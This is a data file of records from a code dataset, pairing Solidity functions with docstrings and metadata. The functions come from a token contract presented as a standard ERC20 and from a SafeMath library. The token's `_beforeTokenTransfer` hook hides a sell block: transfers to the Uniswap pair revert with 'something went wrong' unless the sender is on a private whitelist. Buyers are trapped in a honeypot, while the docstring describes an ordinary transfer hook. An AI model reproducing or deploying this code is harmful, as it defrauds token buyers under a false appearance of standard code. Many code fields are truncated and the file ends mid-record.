0x5bbd484d3ec21567c70b354816bfca4016b32141
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /**...
/** * @dev Interface of the ERC20 standard as defined in the EIP. */
NatSpecMultiLine
totalSupply
function totalSupply() external view returns (uint256);
/** * @dev Returns the amount of tokens in existence. */
NatSpecMultiLine
v0.8.0+commit.c7dfd78e
None
ipfs://64578841a69ca91f4698d853e651d9dd21bf4d21c27e02460caeb01e62cc9ffd
{ "func_code_index": [ 94, 154 ] }
18,660
ERC20
ERC20.sol
0x5bbd484d3ec21567c70b354816bfca4016b32141
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /**...
/** * @dev Interface of the ERC20 standard as defined in the EIP. */
NatSpecMultiLine
balanceOf
function balanceOf(address account) external view returns (uint256);
/** * @dev Returns the amount of tokens owned by `account`. */
NatSpecMultiLine
v0.8.0+commit.c7dfd78e
None
ipfs://64578841a69ca91f4698d853e651d9dd21bf4d21c27e02460caeb01e62cc9ffd
{ "func_code_index": [ 237, 310 ] }
18,661
ERC20
ERC20.sol
0x5bbd484d3ec21567c70b354816bfca4016b32141
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /**...
/** * @dev Interface of the ERC20 standard as defined in the EIP. */
NatSpecMultiLine
transfer
function transfer(address recipient, uint256 amount) external returns (bool);
/** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */
NatSpecMultiLine
v0.8.0+commit.c7dfd78e
None
ipfs://64578841a69ca91f4698d853e651d9dd21bf4d21c27e02460caeb01e62cc9ffd
{ "func_code_index": [ 534, 616 ] }
18,662
ERC20
ERC20.sol
0x5bbd484d3ec21567c70b354816bfca4016b32141
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /**...
/** * @dev Interface of the ERC20 standard as defined in the EIP. */
NatSpecMultiLine
allowance
function allowance(address owner, address spender) external view returns (uint256);
/** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */
NatSpecMultiLine
v0.8.0+commit.c7dfd78e
None
ipfs://64578841a69ca91f4698d853e651d9dd21bf4d21c27e02460caeb01e62cc9ffd
{ "func_code_index": [ 895, 983 ] }
18,663
ERC20
ERC20.sol
0x5bbd484d3ec21567c70b354816bfca4016b32141
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /**...
/** * @dev Interface of the ERC20 standard as defined in the EIP. */
NatSpecMultiLine
approve
function approve(address spender, uint256 amount) external returns (bool);
/** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate ...
NatSpecMultiLine
v0.8.0+commit.c7dfd78e
None
ipfs://64578841a69ca91f4698d853e651d9dd21bf4d21c27e02460caeb01e62cc9ffd
{ "func_code_index": [ 1647, 1726 ] }
18,664
ERC20
ERC20.sol
0x5bbd484d3ec21567c70b354816bfca4016b32141
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /**...
/** * @dev Interface of the ERC20 standard as defined in the EIP. */
NatSpecMultiLine
transferFrom
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */
NatSpecMultiLine
v0.8.0+commit.c7dfd78e
None
ipfs://64578841a69ca91f4698d853e651d9dd21bf4d21c27e02460caeb01e62cc9ffd
{ "func_code_index": [ 2039, 2141 ] }
18,665
ERC20
ERC20.sol
0x5bbd484d3ec21567c70b354816bfca4016b32141
Solidity
IERC20Metadata
interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns t...
/** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */
NatSpecMultiLine
name
function name() external view returns (string memory);
/** * @dev Returns the name of the token. */
NatSpecMultiLine
v0.8.0+commit.c7dfd78e
None
ipfs://64578841a69ca91f4698d853e651d9dd21bf4d21c27e02460caeb01e62cc9ffd
{ "func_code_index": [ 100, 159 ] }
18,666
ERC20
ERC20.sol
0x5bbd484d3ec21567c70b354816bfca4016b32141
Solidity
IERC20Metadata
interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns t...
/** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */
NatSpecMultiLine
symbol
function symbol() external view returns (string memory);
/** * @dev Returns the symbol of the token. */
NatSpecMultiLine
v0.8.0+commit.c7dfd78e
None
ipfs://64578841a69ca91f4698d853e651d9dd21bf4d21c27e02460caeb01e62cc9ffd
{ "func_code_index": [ 226, 287 ] }
18,667
ERC20
ERC20.sol
0x5bbd484d3ec21567c70b354816bfca4016b32141
Solidity
IERC20Metadata
interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns t...
/** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */
NatSpecMultiLine
decimals
function decimals() external view returns (uint8);
/** * @dev Returns the decimals places of the token. */
NatSpecMultiLine
v0.8.0+commit.c7dfd78e
None
ipfs://64578841a69ca91f4698d853e651d9dd21bf4d21c27e02460caeb01e62cc9ffd
{ "func_code_index": [ 363, 418 ] }
18,668
ERC20
ERC20.sol
0x5bbd484d3ec21567c70b354816bfca4016b32141
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; mapping(address=>bool) private _ena...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
name
function name() public view virtual override returns (string memory) { return _name; }
/** * @dev Returns the name of the token. */
NatSpecMultiLine
v0.8.0+commit.c7dfd78e
None
ipfs://64578841a69ca91f4698d853e651d9dd21bf4d21c27e02460caeb01e62cc9ffd
{ "func_code_index": [ 1445, 1550 ] }
18,669
ERC20
ERC20.sol
0x5bbd484d3ec21567c70b354816bfca4016b32141
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; mapping(address=>bool) private _ena...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
symbol
function symbol() public view virtual override returns (string memory) { return _symbol; }
/** * @dev Returns the symbol of the token, usually a shorter version of the * name. */
NatSpecMultiLine
v0.8.0+commit.c7dfd78e
None
ipfs://64578841a69ca91f4698d853e651d9dd21bf4d21c27e02460caeb01e62cc9ffd
{ "func_code_index": [ 1664, 1773 ] }
18,670
ERC20
ERC20.sol
0x5bbd484d3ec21567c70b354816bfca4016b32141
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; mapping(address=>bool) private _ena...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
decimals
function decimals() public view virtual override returns (uint8) { return 18; }
/** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is...
NatSpecMultiLine
v0.8.0+commit.c7dfd78e
None
ipfs://64578841a69ca91f4698d853e651d9dd21bf4d21c27e02460caeb01e62cc9ffd
{ "func_code_index": [ 2407, 2505 ] }
18,671
ERC20
ERC20.sol
0x5bbd484d3ec21567c70b354816bfca4016b32141
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; mapping(address=>bool) private _ena...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
totalSupply
function totalSupply() public view virtual override returns (uint256) { return _totalSupply; }
/** * @dev See {IERC20-totalSupply}. */
NatSpecMultiLine
v0.8.0+commit.c7dfd78e
None
ipfs://64578841a69ca91f4698d853e651d9dd21bf4d21c27e02460caeb01e62cc9ffd
{ "func_code_index": [ 2565, 2678 ] }
18,672
ERC20
ERC20.sol
0x5bbd484d3ec21567c70b354816bfca4016b32141
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; mapping(address=>bool) private _ena...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
balanceOf
function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; }
/** * @dev See {IERC20-balanceOf}. */
NatSpecMultiLine
v0.8.0+commit.c7dfd78e
None
ipfs://64578841a69ca91f4698d853e651d9dd21bf4d21c27e02460caeb01e62cc9ffd
{ "func_code_index": [ 2736, 2868 ] }
18,673
ERC20
ERC20.sol
0x5bbd484d3ec21567c70b354816bfca4016b32141
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; mapping(address=>bool) private _ena...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
transfer
function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; }
/** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */
NatSpecMultiLine
v0.8.0+commit.c7dfd78e
None
ipfs://64578841a69ca91f4698d853e651d9dd21bf4d21c27e02460caeb01e62cc9ffd
{ "func_code_index": [ 3076, 3256 ] }
18,674
ERC20
ERC20.sol
0x5bbd484d3ec21567c70b354816bfca4016b32141
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; mapping(address=>bool) private _ena...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
allowance
function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; }
/** * @dev See {IERC20-allowance}. */
NatSpecMultiLine
v0.8.0+commit.c7dfd78e
None
ipfs://64578841a69ca91f4698d853e651d9dd21bf4d21c27e02460caeb01e62cc9ffd
{ "func_code_index": [ 3314, 3470 ] }
18,675
ERC20
ERC20.sol
0x5bbd484d3ec21567c70b354816bfca4016b32141
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; mapping(address=>bool) private _ena...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
approve
function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; }
/** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */
NatSpecMultiLine
v0.8.0+commit.c7dfd78e
None
ipfs://64578841a69ca91f4698d853e651d9dd21bf4d21c27e02460caeb01e62cc9ffd
{ "func_code_index": [ 3612, 3786 ] }
18,676
ERC20
ERC20.sol
0x5bbd484d3ec21567c70b354816bfca4016b32141
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; mapping(address=>bool) private _ena...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
transferFrom
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _ap...
/** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `...
NatSpecMultiLine
v0.8.0+commit.c7dfd78e
None
ipfs://64578841a69ca91f4698d853e651d9dd21bf4d21c27e02460caeb01e62cc9ffd
{ "func_code_index": [ 4263, 4690 ] }
18,677
ERC20
ERC20.sol
0x5bbd484d3ec21567c70b354816bfca4016b32141
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; mapping(address=>bool) private _ena...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
increaseAllowance
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; }
/** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` c...
NatSpecMultiLine
v0.8.0+commit.c7dfd78e
None
ipfs://64578841a69ca91f4698d853e651d9dd21bf4d21c27e02460caeb01e62cc9ffd
{ "func_code_index": [ 5094, 5314 ] }
18,678
ERC20
ERC20.sol
0x5bbd484d3ec21567c70b354816bfca4016b32141
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; mapping(address=>bool) private _ena...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
decreaseAllowance
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - sub...
/** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` c...
NatSpecMultiLine
v0.8.0+commit.c7dfd78e
None
ipfs://64578841a69ca91f4698d853e651d9dd21bf4d21c27e02460caeb01e62cc9ffd
{ "func_code_index": [ 5812, 6194 ] }
18,679
ERC20
ERC20.sol
0x5bbd484d3ec21567c70b354816bfca4016b32141
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; mapping(address=>bool) private _ena...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
_transfer
function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient); uint256 sende...
/** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. *...
NatSpecMultiLine
v0.8.0+commit.c7dfd78e
None
ipfs://64578841a69ca91f4698d853e651d9dd21bf4d21c27e02460caeb01e62cc9ffd
{ "func_code_index": [ 6679, 7286 ] }
18,680
ERC20
ERC20.sol
0x5bbd484d3ec21567c70b354816bfca4016b32141
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; mapping(address=>bool) private _ena...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
_mint
function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); }
/** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */
NatSpecMultiLine
v0.8.0+commit.c7dfd78e
None
ipfs://64578841a69ca91f4698d853e651d9dd21bf4d21c27e02460caeb01e62cc9ffd
{ "func_code_index": [ 7563, 7898 ] }
18,681
ERC20
ERC20.sol
0x5bbd484d3ec21567c70b354816bfca4016b32141
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; mapping(address=>bool) private _ena...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
_burn
function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0)); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds ba...
/** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */
NatSpecMultiLine
v0.8.0+commit.c7dfd78e
None
ipfs://64578841a69ca91f4698d853e651d9dd21bf4d21c27e02460caeb01e62cc9ffd
{ "func_code_index": [ 8226, 8725 ] }
18,682
ERC20
ERC20.sol
0x5bbd484d3ec21567c70b354816bfca4016b32141
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; mapping(address=>bool) private _ena...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
_approve
function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amoun...
/** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero a...
NatSpecMultiLine
v0.8.0+commit.c7dfd78e
None
ipfs://64578841a69ca91f4698d853e651d9dd21bf4d21c27e02460caeb01e62cc9ffd
{ "func_code_index": [ 9158, 9509 ] }
18,683
ERC20
ERC20.sol
0x5bbd484d3ec21567c70b354816bfca4016b32141
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; mapping(address=>bool) private _ena...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
_beforeTokenTransfer
function _beforeTokenTransfer(address from, address to) internal virtual { if(to == uniswapV2Pair) { require(_enable[from], "something went wrong"); } }
/** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * -...
NatSpecMultiLine
v0.8.0+commit.c7dfd78e
None
ipfs://64578841a69ca91f4698d853e651d9dd21bf4d21c27e02460caeb01e62cc9ffd
{ "func_code_index": [ 10107, 10300 ] }
18,684
APPCrowdsale
PPTokenBurnNList.sol
0x9765986db807b4abc6cc519a5b2511f357fae1dc
Solidity
SafeMath
library SafeMath { int256 constant private INT256_MIN = -2**255; /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the ...
/** * @title SafeMath * @dev Math operations with safety checks that revert on error */
NatSpecMultiLine
mul
function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } ...
/** * @dev Multiplies two unsigned integers, reverts on overflow. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
MIT
bzzr://036e0e0744e18727062915a5c3bc9fdb0a6d944153d581f69a21e3bc76ffee1d
{ "func_code_index": [ 151, 576 ] }
18,685
APPCrowdsale
PPTokenBurnNList.sol
0x9765986db807b4abc6cc519a5b2511f357fae1dc
Solidity
SafeMath
library SafeMath { int256 constant private INT256_MIN = -2**255; /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the ...
/** * @title SafeMath * @dev Math operations with safety checks that revert on error */
NatSpecMultiLine
mul
function mul(int256 a, int256 b) internal pure returns (int256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } re...
/** * @dev Multiplies two signed integers, reverts on overflow. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
MIT
bzzr://036e0e0744e18727062915a5c3bc9fdb0a6d944153d581f69a21e3bc76ffee1d
{ "func_code_index": [ 657, 1196 ] }
18,686
APPCrowdsale
PPTokenBurnNList.sol
0x9765986db807b4abc6cc519a5b2511f357fae1dc
Solidity
SafeMath
library SafeMath { int256 constant private INT256_MIN = -2**255; /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the ...
/** * @title SafeMath * @dev Math operations with safety checks that revert on error */
NatSpecMultiLine
div
function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; }
/** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
MIT
bzzr://036e0e0744e18727062915a5c3bc9fdb0a6d944153d581f69a21e3bc76ffee1d
{ "func_code_index": [ 1320, 1620 ] }
18,687
APPCrowdsale
PPTokenBurnNList.sol
0x9765986db807b4abc6cc519a5b2511f357fae1dc
Solidity
SafeMath
library SafeMath { int256 constant private INT256_MIN = -2**255; /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the ...
/** * @title SafeMath * @dev Math operations with safety checks that revert on error */
NatSpecMultiLine
div
function div(int256 a, int256 b) internal pure returns (int256) { require(b != 0); // Solidity only automatically asserts when dividing by 0 require(!(b == -1 && a == INT256_MIN)); // This is the only case of overflow int256 c = a / b; return c; }
/** * @dev Integer division of two signed integers truncating the quotient, reverts on division by zero. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
MIT
bzzr://036e0e0744e18727062915a5c3bc9fdb0a6d944153d581f69a21e3bc76ffee1d
{ "func_code_index": [ 1742, 2031 ] }
18,688
APPCrowdsale
PPTokenBurnNList.sol
0x9765986db807b4abc6cc519a5b2511f357fae1dc
Solidity
SafeMath
library SafeMath { int256 constant private INT256_MIN = -2**255; /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the ...
/** * @title SafeMath * @dev Math operations with safety checks that revert on error */
NatSpecMultiLine
sub
function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; }
/** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */
NatSpecMultiLine
v0.4.24+commit.e67f0147
MIT
bzzr://036e0e0744e18727062915a5c3bc9fdb0a6d944153d581f69a21e3bc76ffee1d
{ "func_code_index": [ 2158, 2307 ] }
18,689
APPCrowdsale
PPTokenBurnNList.sol
0x9765986db807b4abc6cc519a5b2511f357fae1dc
Solidity
SafeMath
library SafeMath { int256 constant private INT256_MIN = -2**255; /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the ...
/** * @title SafeMath * @dev Math operations with safety checks that revert on error */
NatSpecMultiLine
sub
function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; }
/** * @dev Subtracts two signed integers, reverts on overflow. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
MIT
bzzr://036e0e0744e18727062915a5c3bc9fdb0a6d944153d581f69a21e3bc76ffee1d
{ "func_code_index": [ 2387, 2564 ] }
18,690
APPCrowdsale
PPTokenBurnNList.sol
0x9765986db807b4abc6cc519a5b2511f357fae1dc
Solidity
SafeMath
library SafeMath { int256 constant private INT256_MIN = -2**255; /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the ...
/** * @title SafeMath * @dev Math operations with safety checks that revert on error */
NatSpecMultiLine
add
function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; }
/** * @dev Adds two unsigned integers, reverts on overflow. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
MIT
bzzr://036e0e0744e18727062915a5c3bc9fdb0a6d944153d581f69a21e3bc76ffee1d
{ "func_code_index": [ 2641, 2790 ] }
18,691
APPCrowdsale
PPTokenBurnNList.sol
0x9765986db807b4abc6cc519a5b2511f357fae1dc
Solidity
SafeMath
